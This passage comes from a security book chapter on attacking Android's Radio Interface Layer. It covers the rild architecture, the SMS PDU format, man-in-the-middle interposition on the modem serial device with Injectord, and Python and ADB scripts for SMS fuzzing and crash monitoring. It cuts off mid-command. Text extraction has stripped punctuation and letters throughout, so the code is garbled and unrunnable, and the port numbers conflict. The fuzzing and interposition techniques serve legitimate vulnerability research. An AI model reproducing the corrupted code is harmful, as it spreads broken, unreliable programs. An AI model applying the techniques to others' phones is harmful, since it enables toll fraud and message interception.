attackers. Toll fraud is one such possibility. The RIL ’s main function is to interact with the digital baseband and therefore controlling RIL means access to the baseband. With access to the baseband an attacker can initiate premium rate calls and send premium rate SMS messages. He can commit fraud and hurt the victim f nancially and at the same time he can gain monetarily. Spying is another possibility. RIL can control other features of the baseband such as conf guring the auto-answer setting. This could turn the phone into a room bug which is quite a serious matter in an enterprise environment. Yet another possibility is intercepting data that passes through the RIL. Consequently hav- ing control of RIL means having access to data that is not protected that is not end-to-end encrypted. In summary a successful attack against RIL provides access to sensitive information and the possibility of monetizing the hijacked device at the owner’s expense. RIL Architecture This section provides a general overview of the RIL and the Android telephony stack. First though you get a brief overview of the common architecture of

slide 401:

Chapter 11 ■ Attacking the Radio Interface Layer 369 c11.indd 02:37:57:PM 02/24/2014 Page 369 modern smartphones. The described architecture is found in all Android-based mobile devices. Smartphone Architecture To help you better understand mobile telephony stacks this section takes a quick detour and looks at the design of a modern smartphone. Tablets that contain a cellular interface are based on the same architecture. A modern smartphone consists of two separate but cooperating systems. The f rst system is called the application processor. This subsystem consists of the main processor — most likely a multi-core ARM-based central processing unit CPU. This system also contains the peripherals such as the display touchscreen storage and audio input and output. The second system is the cellular baseband or cellular modem. The baseband handles the physical radio link between the phone and the cellular communication infrastructure. Basebands are mostly composed from an ARM CPU and a digital signal processor DSP. The type of application processor and baseband is highly dependent on the actual device manufacturer and the kind of cellular network the device is built for GSM versus CDMA and so on. The two subsystems are connected to each other on the device’s main board. To reduce costs chipset manufacturers sometimes integrate both into one single chip but the systems still function independently. Figure 11-1 shows an abstract view of a modern smartphone. Memory Display Touch- screen Flash CPU CPU Baseband GPS Memory DSP UART UART SoC Figure 11-1: General smartphone architecture The interface between both systems is highly dependent on the actual com- ponents and the device manufacturer. Commonly found interfaces are Serial

slide 402:

370 Chapter 11 ■ Attacking the Radio Interface Layer c11.indd 02:37:57:PM 02/24/2014 Page 370 Peripheral Interface SPI Universal Serial Bus USB Universal Asynchronous Receiver/Transmitter UART and shared memory. Because of this diversity the RIL is designed to be very f exible. The Android Telephony Stack The telephony stack in Android is separated into four components which are from top to bottom the Phone and SMS applications the application framework the RIL daemon and the kernel-level device drivers. The Android platform is partially written in Java and partially written in C/C++ and thus respected parts are executed in either the Dalvik virtual machine VM or as native machine code. This distinction is very interesting when it comes to f nding bugs. In the Android telephony stack the separation between Dalvik and native code is as follows. The application parts are written in Java and are thus executed in the Dalvik VM. The user-space parts such as the RIL daemon and libraries are native code. The Linux kernel of course is executed as native code. Figure 11-2 depicts an overview of the Android Telephony Stack. Phone Application Applications Application Framework User-Space Dalvik Native Linux Kernel Call Tracker SMS Dispatch Service Tracker Data Tracker Phone /java/android/telephony RIL /java/android/telephony/gsm Vendor RIL /system/lib/lib-vendor.so IP Stack Voice and Control Platform and Baseband Drivers Baseband RIL Daemon rild /system/bin/rild Figure 11-2: The Android telephony stack

slide 403:

Chapter 11 ■ Attacking the Radio Interface Layer 371 c11.indd 02:37:57:PM 02/24/2014 Page 371 The Phone Applications This component includes the high-level software that implements a number of core functionalities. It includes the Phone dialer and Messaging apps. Each bit of functionality is implemented in what Google calls a tracker. There is the call tracker the SMS dispatcher the service tracker and the data tracker. The call tracker handles voice calls — for example establishing and tearing down the call. The SMS dispatcher handles SMS and Multimedia Messaging Service MMS messages. The service tracker handles cellular connectivity for example is the device connected to a network what’s the reception level is it roaming. The data tracker is responsible for data connectivity mobile Internet. The Phone applications communicate with the next layer — the Application Framework. The Application Framework The Application Framework components of the RIL serve two purposes. First it provides an interface for the Phone application to communicate with the RIL daemon. Second it provides abstractions for many cellular-related concepts that differ between network types. Developers can take advantage of these abstractions by using the methods in the android.telephony package in their applications. Native User-Space Components The user-space components consist of the RIL daemon and its supporting librar- ies. The RIL daemon is the main topic of this chapter and is discussed in more detail in the “The RIL Daemon” and “The Vendor RIL API” sections later in this chapter. The Kernel The Linux kernel hosts the lowest layer of the telephony stack. It contains the drivers for the baseband hardware. The drivers mostly provide an interface for user-land applications to talk to the baseband. This is often a serial line. This interface is covered in more detail later in this chapter. Telephony Stack Customization The Android telephony stack can be customized at various layers. In fact some customizations are required. For example the baseband driver has to be adapted to f t the specif c hardware conf guration. In addition to required changes device manufacturers also customize parts of the telephony stack that normally do not need to be customized. Common customizations include a replacement phone

slide 404:

372 Chapter 11 ■ Attacking the Radio Interface Layer c11.indd 02:37:57:PM 02/24/2014 Page 372 dialer and a replacement or additional SMS and MMS application. Various manu- facturers also seem to add functionality to the telephony-related Application Framework core quite frequently. Such customizations and additions are espe- cially interesting in terms of security because they are mostly closed source and may not have been audited by qualif ed security researchers. The RIL Daemon rild The most important part of the Radio Interface Layer is the RIL daemon rild. The RIL daemon is a core system service and runs as a native Linux process. Its main functionality is to provide connectivity between the Android Telephony Application Framework and the device-specif c hardware. To accomplish this it exposes an interface to the Application Framework through Binder IPC. You can f nd the source code for the open source portion of rild in the Android Open Source Project AOSP repository under the hardware/ril directory. Google specif cally designed rild to support third-party closed-source hard- ware interface code. For this purpose rild provides an application programming interface API consisting of a set of function calls and callbacks. On startup rild loads a vendor provided shared library called the vendor-ril. The vendor-ril implements the hardware-specif c functionality. This daemon is one of the few services on an Android device that is managed by init. As such rild is started on system startup and is restarted if the process terminates unexpectedly. Unlike some other system services an RIL daemon crash is unlikely to cause a partial reboot or leave the system in an unstable state. These facts make playing around with rild very convenient. rild on Your Device The RIL daemon is a little different on every device. As you get started with working on your own device it helps to have an overview of its conf guration. Following is a guide on how to get a quick overview of your rild environment. The example uses an HTC One V running Android 4.0.3 and HTC Sense 4.0. Below we issue a number of commands on an ADB shell to get an overview of the RIL environment. First we obtain the process ID PID of rild. With the PID we can inspect the process using the proc f le system. This provides us with the list of libraries that are loaded by rild. In next step we inspect the init scripts. This provides us a list of UNIX domain sockets that are used by rild. In the third step we again use the proc f le system to determine which f les are opened by rild. This provides us with the names of the serial devices that are used by rild. In the last step we dump all of the RIL related Android system properties using the getprop utility. shellandroid:/ ps |grep rild radio 1445 1 14364 932 ffffffff 40063fb4 S /system/bin/rild

slide 405:

Chapter 11 ■ Attacking the Radio Interface Layer 373 c11.indd 02:37:57:PM 02/24/2014 Page 373 shellandroid:/ cat /proc/1445/maps |grep ril 00008000-0000a000 r-xp 00000000 b3:19 284 /system/bin/rild 0000a000-0000b000 rw-p 00002000 b3:19 284 /system/bin/rild 400a9000-400b9000 r-xp 00000000 b3:19 1056 /system/lib/libril.so 400b9000-400bb000 rw-p 00010000 b3:19 1056 /system/lib/libril.so 4015e000-401ed000 r-xp 00000000 b3:19 998 /system/lib/libhtc_ril.so 401ed000-401f3000 rw-p 0008f000 b3:19 998 /system/lib/libhtc_ril.so shellandroid:/ grep rild /init.rc service ril-daemon /system/bin/rild socket rild stream 660 root radio socket rild-debug stream 660 radio system socket rild-htc stream 660 radio system shellandroid:/data ls -la /proc/1445/fd |grep dev lrwx------ root root 2013-01-15 12:55 13 - /dev/smd0 lrwx------ root root 2013-01-15 12:55 14 - /dev/qmi0 lrwx------ root root 2013-01-15 12:55 15 - /dev/qmi1 lrwx------ root root 2013-01-15 12:55 16 - /dev/qmi2 shellandroid:/ getprop |grep ril gsm.version.ril-impl: HTC-RIL 4.0.0024HM Mar 6 201210:40:00 init.svc.ril-daemon: running ril.booted: 1 ril.ecclist: 112911 ril.gsm.only.version: 2 ril.modem_link.status: 0 ril.reload.count: 1 ril.sim.swap.status: 0 rild.libpath.ganlite: /system/lib/librilswitch.so rild.libpath: /system/lib/libhtc_ril.so rilswitch.ganlibpath: /system/lib/libganril.so rilswitch.vendorlibpath: /system/lib/libhtc_ril.so ro.ril.def.agps.mode: 2 ro.ril.enable.a52.HTC-ITA: 1 ro.ril.enable.a52: 0 ro.ril.enable.a53.HTC-ITA: 1 ro.ril.enable.a53: 1 ro.ril.enable.amr.wideband: 1 ro.ril.enable.dtm: 1 ro.ril.enable.managed.roaming: 1 ro.ril.gprsclass: 12 ro.ril.hsdpa.category: 10 ro.ril.hsupa.category: 6 ro.ril.hsxpa: 2 ... There are a number of interesting pieces of information in the preceding code such as the name of the vendor-ril which is libhtc_ril.so. Further rild further

slide 406:

374 Chapter 11 ■ Attacking the Radio Interface Layer c11.indd 02:37:57:PM 02/24/2014 Page 374 exposes a number of sockets in /dev/socket. These sockets serve various pur- poses. For example the /dev/socket/rild-debug and /dev/socket/rild-htc sockets facilitate debugging rild and/ or the vendor-ril. The name of the serial device used to talk to the cellular baseband is the most interesting detail. For the HTC One V this device is /dev/smd0. The serial device is especially interesting for security since rild sends commands to the modem via this serial device. Commands include incoming and outgoing SMS messages therefore making this communication link very interesting for attacks. Security The RIL daemon is one of the few pieces of software on an Android device that is directly reachable from the outside world. Both rild and the vendor-ril are implemented in C and C++ and are compiled to native code. These programming languages are not memory safe and therefore tend to be a signif cant source of security issues. The RIL daemon has to deal with a lot of inputs that it receives from various sources. The code in rild has to parse and process data and control information it receives from the cellular modem and from the Android Framework. The straightforward example is an SMS message. Processing an incoming SMS message traverses several different pieces of hardware and software each of which an attacker can target. Whenever an SMS message is sent to an Android device that message is received by the baseband. The baseband decodes the physical transmission and forwards the message via the baseband driver in the Linux kernel. The driver in the Linux kernel forwards it to the vendor-ril library in the RIL daemon. The RIL daemon pushes the mes- sage up into the Android Telephony Framework. Therefore the RIL is a remotely attackable piece of software on every Android device. Attackers prefer remote attacks since they do not require any interaction on the part of the target user. When the RIL daemon starts it is typically executed with root privileges. To minimize the risk rild drops its privileges to the radio user shortly thereafter. The radio user only has access to the relevant resources required to fulf ll its duties. Nevertheless rild still has access to interesting data such as SMS mes- sages and interesting functionality ability to send SMS messages and make phone calls as stated earlier in this chapter. Further the radio user and group are used to ensure the resources on the system that are only required by rild are not overly exposed. The Vendor-ril API The vendor-ril is the manufacturer and device-specif c code that implements the functionality to interact with a specif c type of cellular baseband. Because base- bands are still highly proprietary the RIL subsystem was specif cally designed

slide 407:

Chapter 11 ■ Attacking the Radio Interface Layer 375 c11.indd 02:37:57:PM 02/24/2014 Page 375 with binary-only extensions in mind. In fact device vendors are often legally bound by non-disclosure agreements that prevent them from releasing source code. From a security standpoint looking at vendor-rils is very interesting. Because they are almost exclusively binary only it is likely that they haven’t been audited by the general Android community. Further the vendor-ril is one of the parts of an Android system that needs to be customized often. In addition because stability is a big issue the vendor-ril library might contain hidden possibly unhardened debugging functionality. In sum these facts indicate that bugs and vulnerabilities are more likely to exist in the code of the vendor-ril. RIL-to-Baseband Communication The vendor-ril implements the functionality that enables rild to interact with the baseband. The implementation is completely vendor and baseband dependent. It can either be a proprietary protocol or the standardized text-based GSM AT command set. If the GSM AT command set is used by a given baseband the accompanying Linux kernel driver most likely provides a serial device in the /dev f lesystem. In this case the RIL daemon just opens the given device and speaks the GSM AT protocol. Although the protocol is standardized baseband manufacturers will likely add custom commands to their basebands. For this reason a matching vendor-ril is always needed. Furthermore most basebands behave differently even on standardized commands. In all other cases the protocol is entirely up to the manufacturer. NOTE You can fi nd more information about the GSM AT command set at http:// www.etsi.org/deliver/etsi_i_ets/300600_300699/300642/04_60/ ets_300642e04p.pdf. For the sake of simplicity this chapter only covers modem communications based on AT commands. That said some of the proprietary baseband protocols have been reverse engineered and re-implemented in open-source software. One example is the protocol that Samsung uses on all their devices. You can f nd information about this protocol in the Replicant project at http://redmine .replicant.us/projects/replicant/wiki/SamsungModems. Short Message Service SMS SMS is a basic service of cellular networks. Most people only know SMS as a way to send a text message from one phone to another phone but SMS is much more then text messaging. It is used for all kinds of communication between cellular network infrastructure and mobile handsets.

slide 408:

376 Chapter 11 ■ Attacking the Radio Interface Layer c11.indd 02:37:57:PM 02/24/2014 Page 376 SMS was standardized 20 years ago by the Global System for Mobile Communication Association GSMA. SMS was not part of the original network design it was added to the standard a little later. SMS uses the control channel that is normally used to signal incoming and outgoing calls between the cell tower and the mobile handset. The use of the control channel for SMS is also the reasons why SMS messages are limited to 140 bytes or 160 7-bit characters. Today the SMS service is available on almost every kind of cellular phone network. Sending and Receiving SMS Messages When an SMS message is sent from one phone to another the message is not directly transmitted between the two devices. The sending phone sends the SMS message to a service on the cellular network called the Short Message Service Center SMSC. After the SMSC receives the message it then delivers the SMS message to the destination phone. This operation may involve multiple intermediary SMSC endpoints. The SMSC does much more than just forward SMS messages between the sender and receiver. If the receiving phone is not in range of a cell tower or if the phone is switched off the SMSC queues the message until the phone comes back online. SMS delivery is “best effort” meaning there is no guarantee that an SMS message will be delivered at all. The SMS standard supports a time-to-live value to specify how long a message should be queued before it can be discarded. The process of how SMS messages are received and handled on the mobile handset side is discussed in detail in the “Interacting with the Modem” section later in this chapter. SMS Message Format As previously mentioned SMS is much more than sending text messages between phones. SMS is used for changing and updating phone conf guration sending ringtones and Multimedia Messaging Service MMS messages and notify- ing the user about waiting voicemails. To implement all these features SMS supports sending binary data in addition to plain text messages. Due to its many features SMS is interesting for mobile phone security. This section brief y introduces the most important parts of the SMS message format. You can f nd more details in the 3GPP SMS standard at http://www.3gpp.org/ftp/Specs/ html-info/23040.htm. The SMS Format SMS messages come in two different formats depending on whether the SMS message is sent from phone to SMSC or from SMSC to phone. The two formats differ only slightly . Because we are only interested in the delivery side the mobile

slide 409:

Chapter 11 ■ Attacking the Radio Interface Layer 377 c11.indd 02:37:57:PM 02/24/2014 Page 377 phone side this section only covers the delivery format named SMS-Deliver. The SMS-Deliver format is depicted in Figure 11-3. SMSC Field Octets Purpose variable SMSC Number Message Flags Sender Number Protocol ID Data Coding Scheme Time Stamp User Data Length User Data variable variable 1 1 1 7 1 Deliver Sender TP-PID TP-DCS TP-SCTS UDL UD Figure 11-3: SMS PDU Format The following code excerpt shows an example of an SMS message in the SMS- Deliver PDU protocol data unit format. It appears just as it would be delivered from the cellular modem to the telephony stack. 0891945111325476F8040D91947187674523F100003150821142154 00DC8309BFD060DD16139BB3C07 The message starts with the SMSC information. The SMSC information con- sists of a one octet length f eld one octet phone number type f eld 91 indicating the international format and a variable number of octets based on the length f eld for the SMSC number. The actual SMSC number is encoded with the high and low nibbles 4 bits swapped in the protocol data unit PDU. Further notice that if the number does not terminate on an octet boundary then the remaining nibble is f lled with an F. Both properties are easily recognizable by comparing the start of the PDU message previously shown to the following decoded SMSC number. Length Type Number 08 91 4915112345678 The next f eld is the Deliver f eld which specif es the message header f ags. This f eld is one octet long and indicates for example if there are more messages to be sent like in our case 0 × 04 or if a User Data Header UDH is present in the User Data UD section. The latter is conveyed using the User Data Header Indication UDHI bit. The UDH will be brief y discussed later in this section. The following f eld is the sender number. Besides the length f eld it has the same format as the SMSC number. The sender number length f eld is calculated using the number of digits that appear in the phone number and not the actual number of octets that are stored in the PDU. Length Type Number 0D 91 4917787654321

slide 410:

378 Chapter 11 ■ Attacking the Radio Interface Layer c11.indd 02:37:57:PM 02/24/2014 Page 378 The Protocol Identif er TP-PID f eld follows the sender number. The TP-PID f eld has various meanings based on which bits are set in the f eld. Normally it is set to 0 × 00 zero. The f eld after TP-PID is the Data Coding Scheme TP-DCS. This f eld def nes how the User Data UD section of the SMS mes- sage is encoded. Possible encodings include 7-bit 8-bit and 16-bit alphabets. This f eld is also used to indicate if compression is used. Common values are 0 × 00 for 7-bit uncompressed messages and 0 × 04 for 8-bit uncompressed data. The example message uses 0 × 00 to indicate 7-bit text. The next f eld is the Time Stamp of the SMS message TP-SCTS. The time stamp uses 7-octets. The f rst octet is the year. The second octet is the month. And so on. Each octet is nibble swapped. The time stamp of the example mes- sage indicates that the message was sent on May 28th 2013. The User Data Length UDL is dependent on the data coding scheme TP-DCS and indicates how many septets 7-bit elements of data are stored in the user data section. Our message carries 13 0 × 0D septets of data in the user data section. The user data of the example message is C8309BFD060DD16139BB3C07. When decoded it reads Hello Charles. SMS User Data Header UDH The User Data Header UDH is used to implement SMS features that go beyond simple text messages. For example the UDH is used to implement features such as multi-part messages port addressed messages indications such as waiting voicemail — the small mail symbol in the Android notif cation bar Wireless Application Protocol WAP push and MMS based on WAP push. The UDH is part of the User Data f eld in the SMS-Deliver format. The presence of a UDH is indicated through the UDHI f ag in the Deliver f eld of the SMS message. The UDH is a general purpose data f eld and consists of a length f eld UDHL and a data f eld. The length f eld indicates how many octets are present in the data f eld. The actual data f eld is formatted using a typical type-length-value TL V format called an Information Element IE. The IE is structured as shown in Figure 11-4. Information Element Identifier IEI Field Octets 1 1 variable Information Element Data Length IEDL Information Element Data IED Figure 11-4: The IE Format The f rst octet indicates the type. This is called the Information Element Identif er IEI. The second octet stores the length. This is called the Information

slide 411:

Chapter 11 ■ Attacking the Radio Interface Layer 379 c11.indd 02:37:57:PM 02/24/2014 Page 379 Element Data Length IEDL. The following octets are the actual data called the Information Element Data IED. The UDH can contain an arbitrary number of IEs. The following is an example of a UDH that contains one IE. The IE indicates a multipart SMS message. 050003420301 The UDH length is 0 × 05. The IEI for a multipart message header is 0 × 00. The length is 0 × 03. The rest is the data section of the IE. The format of the multipart message IE is the message ID 0 × 42 in this case the number of parts that belong to this message 0 × 03 and the current part 0 × 01. For more details and a list of all standardized IEIs please refer to the SMS standard at http://www.3gpp.org/ftp/Specs/html-info/23040.htm. Interacting with the Modem This section explains the steps necessary to interact with the modem of an Android smartphone. There are several reasons to interact with the modem. The primary reason covered in this chapter is for fuzzing the telephony stack. Emulating the Modem for Fuzzing One method to f nd bugs and vulnerabilities in the components that make up the Radio Interface Layer is fuzzing. Fuzzing also discussed in Chapter 6 is a method for testing software input validation by feeding it intentionally mal- formed input. Fuzzing has a long history and has been proven to work. In order to do successful fuzzing three tasks have to be accomplished: input generation test-case delivery and crash monitoring. Vulnerabilities in SMS handling code provide a truly remote attack vector. SMS is an open standard and is well documented. Therefore it is easy to implement a program that generates SMS messages based on the standard. These proper- ties make SMS a perfect target for fuzzing. Later in the chapter a rudimentary SMS fuzz generator is demonstrated. Next the malicious input has to be delivered to the software component that is going to be fuzz-tested. In the example this component is rild. Normally SMS messages are delivered over the air. The sender’s phone sends the mes- sage to the cellular network and the cellular network delivers the message to the receiving phone. However sending SMS messages using this method has many problems. First of all message delivery is slow and takes a couple of seconds. Depending on the operator and country certain SMS message types cannot be sent. Further certain message types will be accepted by the cellular operator but will not be delivered to the receiver. Without access to the mobile operator’s systems it is

slide 412:

380 Chapter 11 ■ Attacking the Radio Interface Layer c11.indd 02:37:57:PM 02/24/2014 Page 380 impossible to determine why a certain message did not get delivered to the receiver. Further sending SMS messages costs money although many cellular contracts offer unlimited SMS messaging. In addition the mobile operator might disable the account of the message sender or receiver after sending a couple thousand messages a day. Further in theory operators have the pos- sibility to log all SMS messages that pass through their network. They might capture the SMS message that triggered a bug and thus the operator has the potential to take your fuzzing result away from you. Malformed messages may unintentionally do harm to back-end cellular infrastructure such as an SMSC endpoint. These issues make it unreliable to send SMS messages for fuzzing purposes via the cellular network. Removing all the mentioned obstacles is a desirable goal. The goal can be achieved in multiple ways such as using a small GSM base station to run your own cellular network. However there are better options such as emulating the cellular modem. Our goal is emulating specif c parts of the cellular modem to enable injecting SMS messages into the Android telephony stack. Of course you could try to implement a complete modem emulator in software but this is a lot of unnec- essary work. You only need to emulate a few specif c parts of the modem. The solution for this is to interpose between the modem and rild. If you can put a piece of software between the modem and rild you can act as a man-in-the- middle and observe and modify all data sent between the two components. Interposing at this level provides access to all command/response pairs exchanged between rild and the modem. Also you can block or modify commands and/ or responses. Most importantly you can inject your own responses and pretend they originate from the modem. The RIL daemon and the rest of the Android telephony stack cannot distinguish between real and injected commands and therefore they process and handle every command/response as if it were issued by the actual modem. Interposing provides a powerful method for explor- ing the telephony security at the boundary between the cellular modem and the Android telephony stack. Interposing on a GSM AT Command-Based Vendor-ril Cellular basebands that implement the GSM AT command set are common. Because the AT command set is text based it is relatively easy to understand and implement it. It provides the perfect playground for our endeavor into RIL security. In 2009 Collin Mulliner and Charlie Miller published this approach in “Injecting SMS Messages into Smart Phones for Vulnerability Analysis” 3rd USENIX Workshop on Offensive Technologies WOOT Montreal Canada 2009 in an effort to analyze Apple’s iOS Microsoft’s Windows Mobile and Google’s Android. Mulliner and Miller’s paper is available at http://www.usenix.org/

slide 413:

Chapter 11 ■ Attacking the Radio Interface Layer 381 c11.indd 02:37:57:PM 02/24/2014 Page 381 events/woot09/tech/full_papers/mulliner.pdf. They created a tool called Injectord that performs interposition a man-in-the-middle attack against rild. The source code for Injectord is freely available at http://www.mulliner.org/ security/sms/ and with the materials accompanying this book. The demo device the HTC One V has one serial device that is used by rild /dev/smd0. Injectord basically functions as a proxy. It opens the original serial device and provides a new serial device to rild. Injectord reads commands issued by rild from the fake serial device and forwards them to the original serial device that is connected to the modem. The answers read from the original device are then forwarded to rild by writing them to the fake device. To trick rild into using the fake serial device the original device /dev/smd0 is renamed to /dev/smd0real. Injectord creates the fake device with the name /dev/smd0 thus causing rild to use the fake serial device. On Linux the f le- name of a device f le is not important because the kernel only cares about the device type and the major and minor numbers. The specif c steps are listed in the following code. mv /dev/smd0 /dev/smd0real /data/local/tmp/injectord Kill -9 PID of rild When Injectord is running it logs all communication between the cellular baseband and rild. An example log of an SMS being sent from the phone to the baseband is shown here: read 11 bytes from rild AT+CMGS22 read 3 bytes from smd0 read 47 bytes from rild 0001000e8100947167209508000009c2f77b0da297e774 read 2 bytes from smd0 read 14 bytes from smd0 +CMGS: 128 0 The f rst command tells the modem the length of the SMS PDU in the example it is 22 bytes. The modem answers with to indicate that it is ready to accept the SMS message. The next line issued by rild contains the SMS PDU in hex encoding 44 characters. In the last step the modem acknowledges the SMS message. Inspecting the log of Injectord is a great way to learn about AT com- mands including specif c non-standard vendor-ril modem communications.

slide 414:

382 Chapter 11 ■ Attacking the Radio Interface Layer c11.indd 02:37:57:PM 02/24/2014 Page 382 Phone Side SMS Delivery The main goal is to emulate SMS delivery from the network to the Android telephony stack. Of specif c interest is how SMS messages are delivered from the modem to rild. The GSM AT command set def nes two types of interac- tion between the baseband and the telephony stack: command-response and unsolicited response. The telephony stack issues a command to the baseband which is answered by the baseband immediately. For events that come from the network the baseband simply issues an unsolicited response. This is how SMS messages are delivered from the baseband to the telephony stack. Incoming voice calls are signaled in the same way. The following is an example of an AT unso- licited response sniffed using the Injectord tool for an incoming SMS message: +CMT: 53 0891945111325476F8040D91947187674523F10000012 0404143944025C8721EA47CCFD1F53028091A87DD273A88FC06D1D16510BDCC1EBF41F437399C07 The f rst line is the unsolicited response name +CMT followed by the size of the message in octets. The second line contains the message in hexadecimal encoding. The telephony stack then issues an AT command to let the baseband know that the unsolicited response was received. Fuzzing SMS on Android Now that you know how the Android telephony stack and rild work you can use this knowledge to fuzz SMS on Android. Based on your knowledge of the SMS format you generate SMS message test cases. Next you use Injectord’s message injection feature to deliver the test cases to your target phone. Besides message injection you also need to monitor your target phone for crashes. After you have collected crash logs you have to analyze and verify the crashes. This section shows you how to perform all of these steps. Generating SMS Messages Now that you know what the SMS message format looks like you can start gen- erating SMS messages to fuzz the Android telephony stack. Chapter 6 already provides an introduction to fuzzing therefore this chapter only discusses notable differences relevant to SMS fuzzing. SMS is an excellent example of when additional domain knowledge is neces- sary for developing a fuzzer. Many f elds in an SMS message cannot contain broken values because SMS messages are inspected by the SMSC as they are transmitted inside the mobile operator infrastructure. Broken f elds lead the SMSC to not accept the message for delivery.

slide 415:

Chapter 11 ■ Attacking the Radio Interface Layer 383 c11.indd 02:37:57:PM 02/24/2014 Page 383 The following information looks at a fuzzer for the UDH that was previously introduced. The UDH has a simple TLV format and therefore is perfect for a small exercise. The following Python script shown is based on an open source library for creating SMS messages. This library is available with the book mate- rials and from http://www.mulliner.org/security/sms/. It generates SMS messages that contain between one and ten UDH elements. Each element is f lled with a random type and random length. The remaining message body is f lled up with random data. The resulting messages are saved to a f le and sent to the target later. All of the necessary imports required to run this script are included in the SMS library. /usr/bin/python import os import sys import socket import time import Utils import sms import SMSFuzzData import random from datetime import datetime import fuzzutils def udhrandfuzzmsisdn smsc ts num: s sms.SMSToMS s._msisdn msisdn s._msisdn_type 0x91 s._smsc smsc s._smsc_type 0x91 s._tppid 0x00 s._tpdcs random.randrange0 1 if s._tpdcs 1: s._tpdcs 0x04 s._timestamp ts s._deliver 0x04 s.deliver_raw2flags s._deliver_udhi 1 s.deliver_flags2raw s._msg "" s._msg_leng 0 s._udh "" for i in range0num: tu chrrandom.randrange00xff tul random.randrange1132 if s._udh_leng + tul 138: break tud SMSFuzzData.getSMSFuzzData s._udh s._udh + tu + chrtul + tud:tul s._udh_leng lens._udh if s._udh_leng 138:

slide 416:

384 Chapter 11 ■ Attacking the Radio Interface Layer c11.indd 02:37:57:PM 02/24/2014 Page 384 break s._msg_leng 139 - s._udh_leng if s._msg_leng 0: s._msg_leng random.randrangeints._msg_leng / 2 s._msg_leng if s._msg_leng 0: tud SMSFuzzData.getSMSFuzzData s._msg tud:s._msg_leng else: s._msg_leng 0 s.encode return s._pdu if __name__ "__main__": out for i in range0 intsys.argv1: ts Utils.hex2bin"99309251619580" 0 rnd random.randrange110 msg udhrandfuzz"4917787654321" "49177123456" ts rnd line Utils.bin2hexmsg 1 leng lenline / 2 - 8 out.appendline leng fuzzutils.cases2fileout sys.argv2 The following are some example messages from our random UDH generator script. The messages can be sent to any phone running Injectord as described in the next section. 07919471173254F6440D91947187674523F1784699309251619580837AF 3142227222722272227222722272227222722272227E2623B3B3B3B3B3B 3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B 3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B 3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B 3B3B8EBBA78E928494C6 151 07919471173254F6440D91947187674523F138EA993092516195808A744E72606060606060606060 60606060606060606060606060606060606060606060606060606060606060606060606060606060 60606060606060606060606060606060606060606060606060606060606060606060606060606060 60606060606060606060606060606060606060606060606060181818181818181818181818181818 181818181818 158 07919471173254F6440D91947187674523F1DE76993092516195806D392B375E5E5E5E5E5E5E5E5E 5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E 5E5E5E5E5E5E1F1F1F1F1F1F1F1F1F1F1F1F1F1F1F1F1F1F1F1F1F1F1F1F1F1F1F1F1F1F1F1F1F1F 1F1F1F1F1F1F1F1F1F1F1F1F1F1F1F1F1F 129 07919471173254F6440D91947187674523F10BA3993092516195807F337B293B3B3B3B3B3B3B3B3B 3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3BD0060F0F0F0F0F0F 5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C 5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C 147

slide 417:

Chapter 11 ■ Attacking the Radio Interface Layer 385 c11.indd 02:37:57:PM 02/24/2014 Page 385 Injecting SMS Messages Using Injectord Message injection works as in the following manner. Injectord listens on TCP port 4242 and expects a complete +CMT message consisting of two lines of text: +CMT and length on the f rst line and the hex-encoded SMS message on the second line. The message is injected into the fake serial device used by rild. When the message is received rild issues an answer to the modem to acknowledge the message. In order to avoid confusing the modem Injectord blocks the acknowl- edgement command. The following code presents a simple Python program to send an SMS mes- sage to Injectord running on the HTC One V Android smartphone. The sendmsg method takes the destination IP address message contents message length that is used for the +CMT response and the Carriage Return Line Feed CRLF type. The AT command set is a line-based protocol each line has to be terminated to signal that a command is complete and ready to be parsed. The termination character is either a Carriage Return CR or a Line Feed LF. Different modems expect a different combination of CRLF for the AT communication. use crlftype 3 for HTC One V def sendmsgdest_ip msg msg_cmt crlftype 1: error 0 if crlftype 1: buffer "+CMT: d\r\ns\r\n" msg_cmt msg elif crlftype 2: buffer "\n+CMT: d\ns\n" msg_cmt msg elif crlftype 3: buffer "\n+CMT: d\r\ns\r\n" msg_cmt msg so socket.socketsocket.AF_INET socket.SOCK_STREAM try: so.connectdest_ip 4223 except: error 1 try: so.sendbuffer except: error 2 so.close return error Monitoring the Target Fuzzing without monitoring the target is useless because you cannot catch the crashes by looking at the phone’s screen. In addition you want to be able to fuzz fully automated and only look at the test cases that triggered a crash of some sort. In order to do this you have to be able to monitor the phone while you fuzz. In addition you want to reset the SMS application from time to time to

slide 418:

386 Chapter 11 ■ Attacking the Radio Interface Layer c11.indd 02:37:57:PM 02/24/2014 Page 386 minimize side effects including crashes resulting from reprocessing previous test cases. Using Android Debug Bridge ADB you can monitor an Android phone for crashes including the Telephony and SMS stack. The basic idea works as follows. You send an SMS message using the Python sendmsg which sends the SMS message to Injectord running on the phone. After the SMS is injected you inspect the Android system log using ADB’s logcat command. If the log contains a native crash or Java exception you save the logcat output and the SMS message for the current test case. After each test case you clear the system log and continue with the next test case. After every 50 SMS messages you delete the SMS database and restart the SMS program on the Android phone. The following Python code implements this algorithm. /usr/bin/python import os import time import socket def get_logpath "": cmd path + "adb logcat -d" l os.popencmd r l.read l.close return r def clean_logpath "": cmd path + "adb logcat -c" c os.popencmd bla c.read c.close return 1 def check_loglog: e 0 if log.find"Exception" -1: e 1 if log.find"EXCEPTION" -1: e 1 if log.find"exception" -1: e 1 return e def kill_procpath "" name "": cmd path + "adb shell \"su -c busybox killall -9 " + name + "\"" l os.popencmd r l.read l.close return r def clean_sms_dbpath "": cmd path + "adb shell \"su -c rm "

slide 419:

